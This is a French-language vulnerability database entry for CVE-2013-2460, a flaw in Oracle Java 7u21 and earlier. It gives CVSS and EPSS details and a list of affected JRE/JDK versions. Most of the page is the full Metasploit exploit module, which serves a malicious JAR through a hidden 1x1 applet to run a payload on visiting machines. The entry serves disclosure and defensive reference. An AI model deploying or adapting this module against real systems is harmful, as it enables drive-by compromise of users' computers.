Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE Other |
No informations. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 26529
Date de publication : 2013-06-30 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
EXPLOIT_STRING = "Exploit"
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet ProviderSkeleton Insecure Invoke Method',
'Description' => %q{
This module abuses the insecure invoke() method of the ProviderSkeleton class that
allows to call arbitrary static methods with user supplied arguments. The vulnerability
affects Java version 7u21 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory and also POC
'Matthias Kaiser' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-2460' ],
[ 'OSVDB', '94346' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2013-1899847.html'],
[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a' ],
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf' ],
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-61.zip' ]
],
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 18 2013'
))
end
def randomize_identifier_in_jar(jar, identifier)
identifier_str = rand_text_alpha(identifier.length)
jar.entries.each { |entry|
entry.name.gsub!(identifier, identifier_str)
entry.data = entry.data.gsub(identifier, identifier_str)
}
end
def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "ExpProvider.class")
@provider_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "DisableSecurityManagerAction.class")
@action_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
@exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length)
@exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name)
super
end
def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")
case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("ExpProvider.class", @provider_class)
jar.add_file("DisableSecurityManagerAction.class", @action_class)
randomize_identifier_in_jar(jar, "metasploit")
randomize_identifier_in_jar(jar, "payload")
jar.build_manifest
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end
end
def generate_html
html = %Q|
<html>
<body>
<applet archive="#{rand_text_alpha(rand(5) + 3)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>
</body>
</html>
|
return html
end
end
Products Mentioned
Configuraton 0
Oracle>>Jre >> Version To (including) 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Configuraton 0
Oracle>>Jdk >> Version To (including) 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Oracle>>Jdk >> Version 1.7.0
Références